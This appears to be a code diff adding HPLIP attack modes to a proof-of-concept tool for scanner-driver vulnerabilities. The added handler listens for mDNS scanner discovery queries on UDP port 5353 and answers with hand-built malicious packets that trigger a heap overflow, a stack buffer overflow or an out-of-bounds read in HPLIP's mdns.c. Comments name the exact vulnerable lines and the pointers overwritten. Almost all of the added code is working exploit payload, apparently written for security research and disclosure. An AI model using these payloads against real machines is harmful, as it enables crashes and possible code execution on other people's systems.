@@ -241,6 +241,298 @@ class BuildMagicolorHandlerTCP : public BuildRecvHandlerTCP {
241241 }
242242};
243243
244+ // The exact bytes of the buffer sent by this call (mdns.c:442):
245+ //
246+ // mdns_send_query(udp_socket, "_scanner._tcp.local", QTYPE_PTR);
247+ //
248+ static const char scanner_tcp_local[37 ] = {
249+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
250+ 0x08 , 0x5f , 0x73 , 0x63 , 0x61 , 0x6e , 0x6e , 0x65 , 0x72 , 0x04 , 0x5f , 0x74 ,
251+ 0x63 , 0x70 , 0x05 , 0x6c , 0x6f , 0x63 , 0x61 , 0x6c , 0x00 , 0x00 , 0x0c , 0x00 ,
252+ 0x01
253+ };
254+
255+ // The exact bytes of the buffer sent by this call (mdns.c:443):
256+ //
257+ // mdns_send_query(udp_socket, "_uscan._tcp.local", QTYPE_PTR);
258+ //
259+ static const char uscan_tcp_local[35 ] = {
260+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
261+ 0x06 , 0x5f , 0x75 , 0x73 , 0x63 , 0x61 , 0x6e , 0x04 , 0x5f , 0x74 , 0x63 , 0x70 ,
262+ 0x05 , 0x6c , 0x6f , 0x63 , 0x61 , 0x6c , 0x00 , 0x00 , 0x0c , 0x00 , 0x01
263+ };
264+
265+ class HplipHandler : public RecvHandlerUDP {
266+ char malicious_response_buf[2048 ];
267+
268+ // Trigger a buffer overflow in mdns_readName (mdns.c:191). The
269+ // destination buffer is `rr->name`, which is a 256 byte buffer. We will
270+ // write off the end of it, overwriting the `rr->next` pointer. The
271+ // bogus pointer triggers a crash at mdns.c:393.
272+ static size_t init_buf_heap_overflow (char * buf) {
273+ size_t pos = 0 ;
274+ // id
275+ buf[pos++] = 0 ;
276+ buf[pos++] = 0 ;
277+ // flags
278+ buf[pos++] = 0 ;
279+ buf[pos++] = 0 ;
280+ // questions
281+ buf[pos++] = 0 ;
282+ buf[pos++] = 1 ;
283+ // answers
284+ buf[pos++] = 0 ;
285+ buf[pos++] = 0 ;
286+ // authorities
287+ buf[pos++] = 0 ;
288+ buf[pos++] = 0 ;
289+ // additionals
290+ buf[pos++] = 0 ;
291+ buf[pos++] = 0 ;
292+
293+ // mdns_readName (mdns.c:279)
294+ buf[pos++] = 0xBF ;
295+ memset (buf + pos, ' x' , 0xBF );
296+ pos += 0xBF ;
297+ buf[pos++] = 0x50 ;
298+ memset (buf + pos, ' x' , 0x40 );
299+ pos += 0x40 ;
300+ ((uint64_t *)(buf + pos))[0 ] = 0xFEDCBA9876543210 ; // pointer to next DNS_RECORD
301+ ((uint64_t *)(buf + pos))[1 ] = 604 ; // mchunk_size (malloc.c)
302+ pos += 0x10 ;
303+ buf[pos++] = 0 ; // End the name
304+
305+ printf (" setzero size=%ld\n " , pos);
306+ return pos;
307+ }
308+
309+ // Trigger a stack buffer overflow in mdns_update_uris (mdns.c:396).
310+ static size_t init_buf_stack_smash (char * buf) {
311+ size_t pos = 0 ;
312+ // id
313+ buf[pos++] = 0 ;
314+ buf[pos++] = 0 ;
315+ // flags
316+ buf[pos++] = 0 ;
317+ buf[pos++] = 0 ;
318+ // questions
319+ buf[pos++] = 0 ;
320+ buf[pos++] = 0 ;
321+ // answers
322+ buf[pos++] = 0 ;
323+ buf[pos++] = 0 ;
324+ // authorities
325+ buf[pos++] = 0 ;
326+ buf[pos++] = 0 ;
327+ // additionals
328+ buf[pos++] = 0 ;
329+ buf[pos++] = 2 ;
330+
331+ // mdns_readName (mdns.c:279)
332+ buf[pos++] = 9 ;
333+ memcpy (&buf[pos], " kevwozere" , 10 );
334+ pos += 10 ;
335+
336+ // type = QTYPE_TXT (16). (mdns.c:280)
337+ buf[pos++] = 0 ;
338+ buf[pos++] = 16 ;
339+ pos += 6 ;
340+
341+ // data_len = 256. (mdns.c:283)
342+ buf[pos++] = 1 ;
343+ buf[pos++] = 0 ;
344+
345+ // mdns_readMDL (mdns.c:204)
346+ const uint8_t modelLen = 0xFF ;
347+ buf[pos++] = modelLen;
348+ memcpy (buf + pos, " mdl=" , 4 );
349+ pos += 4 ;
350+ memset (buf + pos, ' x' , modelLen - 4 );
351+ pos += modelLen - 4 ;
352+
353+ // mdns_readName (mdns.c:279)
354+ buf[pos++] = 9 ;
355+ memcpy (&buf[pos], " kevwozere" , 10 );
356+ pos += 10 ;
357+
358+ // type = QTYPE_A (1). (mdns.c:280)
359+ buf[pos++] = 0 ;
360+ buf[pos++] = 1 ;
361+ pos += 6 ;
362+
363+ // data_len = 4. (mdns.c:283)
364+ buf[pos++] = 0 ;
365+ buf[pos++] = 4 ;
366+
367+ // Bogus ip address
368+ memset (buf + pos, 0xFF , 4 );
369+ pos += 4 ;
370+
371+ printf (" first response size=%ld\n " , pos);
372+ return pos;
373+ }
374+
375+ // Trigger an out of bounds read at mdns.c:279.
376+ static size_t init_buf_out_of_bounds_read (char * buf) {
377+ size_t pos = 0 ;
378+ // id
379+ buf[pos++] = 0 ;
380+ buf[pos++] = 0 ;
381+ // flags
382+ buf[pos++] = 0 ;
383+ buf[pos++] = 0 ;
384+ // questions
385+ buf[pos++] = 0 ;
386+ buf[pos++] = 0 ;
387+ // answers
388+ buf[pos++] = 0 ;
389+ buf[pos++] = 0 ;
390+ // authorities
391+ buf[pos++] = 0 ;
392+ buf[pos++] = 0 ;
393+ // additionals
394+ buf[pos++] = 0 ;
395+ buf[pos++] = 2 ;
396+
397+ // mdns_readName (mdns.c:279)
398+ buf[pos++] = 9 ;
399+ memcpy (&buf[pos], " kevwozere" , 10 );
400+ pos += 10 ;
401+
402+ // type = QTYPE_TXT (16). (mdns.c:280)
403+ buf[pos++] = 0 ;
404+ buf[pos++] = 16 ;
405+ pos += 6 ;
406+
407+ // data_len = 0xFFFF. (mdns.c:283)
408+ // This causes the pointer `p` to be advanced far beyond the bounds of
409+ // the buffer, leading to an out of bounds read. This bug does not cause
410+ // a crash, but it could possibly be used for information disclosure.
411+ buf[pos++] = 0xFF ;
412+ buf[pos++] = 0xFF ;
413+
414+ // mdns_readMDL (mdns.c:204)
415+ const uint8_t modelLen = 0xFF ;
416+ buf[pos++] = modelLen;
417+ memcpy (buf + pos, " mdl=" , 4 );
418+ pos += 4 ;
419+ memset (buf + pos, ' x' , modelLen - 4 );
420+ pos += modelLen - 4 ;
421+ return pos;
422+ }
423+
424+ static bool parse_packet (const uint8_t * buf, ssize_t size) {
425+ static const char header[] =
426+ { 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 };
427+
428+ if (size <= (ssize_t )sizeof (header)) {
429+ return false ;
430+ }
431+
432+ if (memcmp (buf, header, sizeof (header))) {
433+ printf (" unrecognized header:" );
434+ size_t i;
435+ for (i = 0 ; i < sizeof (header); i++) {
436+ printf (" %.2x" , buf[i]);
437+ }
438+ printf (" \n " );
439+ }
440+
441+ ssize_t pos = sizeof (header);
442+ while (1 ) {
443+ assert (pos < size);
444+ uint8_t segsize = buf[pos];
445+ if (segsize == 0 ) {
446+ pos++;
447+ break ;
448+ }
449+ pos++;
450+ assert (pos <= size);
451+ if (segsize >= size - pos) {
452+ printf (" bad segment size: %d %ld\n " , segsize, size-pos);
453+ return false ;
454+ }
455+ size_t i;
456+ printf (" ." );
457+ for (i = 0 ; i < segsize; i++) {
458+ printf (" %c" , buf[pos + i]);
459+ }
460+ pos += segsize;
461+ }
462+
463+ printf (" \n " );
464+
465+ // The next 4 bytes are: 0, query_type, 0, QCLASS_IN
466+ assert (pos <= size);
467+ if (size - pos < 4 ) {
468+ printf (" message too short\n " );
469+ return false ;
470+ }
471+ if (buf[pos] != 0 || buf[pos+2 ] != 0 || buf[pos+3 ] != 1 ) {
472+ printf (" buf[pos..pos+3] = %.02x %.02x %.02x %.02x\n " ,
473+ buf[pos], buf[pos+1 ], buf[pos+2 ], buf[pos+3 ]);
474+ }
475+ uint8_t query_type = buf[pos+1 ];
476+ printf (" query_type = %x\n " , query_type);
477+ pos += 4 ;
478+ printf (" remaining bytes: %ld\n " , size-pos);
479+
480+ ssize_t i;
481+ for (i = pos; i < size; i++) {
482+ printf (" %.2x" , buf[i]);
483+ }
484+ printf (" \n " );
485+
486+ return (size == pos);
487+ }
488+
489+ public:
490+ HplipHandler (int mode) {
491+ memset (malicious_response_buf, 0 , sizeof (malicious_response_buf));
492+ switch (mode) {
493+ case 0 :
494+ init_buf_heap_overflow (malicious_response_buf);
495+ break ;
496+ case 1 :
497+ init_buf_stack_smash (malicious_response_buf);
498+ break ;
499+ case 2 :
500+ init_buf_out_of_bounds_read (malicious_response_buf);
501+ break ;
502+ default :
503+ printf (" Invalid hplip mode: %d\n " , mode);
504+ break ;
505+ }
506+ }
507+
508+ virtual ~HplipHandler () {}
509+
510+ virtual int receive (
511+ const uint8_t * buf, ssize_t len,
512+ SocketHandlerUDP& sock,
513+ const sockaddr* peer_addr, socklen_t peer_addr_len
514+ ) override {
515+ print_addr (peer_addr, peer_addr_len);
516+ parse_packet (buf, len);
517+
518+ if (len != sizeof (scanner_tcp_local)) {
519+ // We're not interested in this message.
520+ return 0 ;
521+ }
522+ if (memcmp (buf, scanner_tcp_local, sizeof (scanner_tcp_local)) != 0 ) {
523+ // We're not interested in this message.
524+ return 0 ;
525+ }
526+
527+ printf (" send malicious\n " );
528+ sock.replyto (
529+ malicious_response_buf, sizeof (malicious_response_buf),
530+ peer_addr, peer_addr_len
531+ );
532+ return 0 ;
533+ }
534+ };
535+
244536static const char epsonp_discover[15 ] = " EPSONP\x00\xff\x00\x00\x00\x00\x00\x00 " ;
245537
246538static const char epsonp_response[76 ] =
@@ -811,7 +1103,7 @@ int main(int argc, char* argv[]) {
8111103 fprintf (
8121104 stderr,
8131105 " usage: %s <command>\n "
814- " commands: epson [0-8], magicolor\n " ,
1106+ " commands: hplip [0-2], epson [0-8], magicolor\n " ,
8151107 prog
8161108 );
8171109 exit (EXIT_FAILURE);
@@ -840,6 +1132,24 @@ int main(int argc, char* argv[]) {
8401132 fprintf (stderr, " Failed to bind UDP port 4567.\n " );
8411133 exit (EXIT_FAILURE);
8421134 }
1135+ } else if (strcmp (command, " hplip" ) == 0 ) {
1136+ if (argc != 3 ) {
1137+ fprintf (
1138+ stderr,
1139+ " usage: %s hplip [0-2]\n "
1140+ " You need to include a mode number.\n " ,
1141+ argv[0 ]
1142+ );
1143+ exit (EXIT_FAILURE);
1144+ }
1145+ const int mode = atoi (argv[2 ]);
1146+ if (EpollRecvHandlerUDP::build (
1147+ epollfd,
1148+ create_and_bind_udp (5353 ),
1149+ new HplipHandler (mode)) < 0 ) {
1150+ fprintf (stderr, " Failed to bind UDP port 5353.\n " );
1151+ exit (EXIT_FAILURE);
1152+ }
8431153 } else if (strcmp (command, " epson" ) == 0 ) {
8441154 if (argc != 3 ) {
8451155 fprintf (
0 commit comments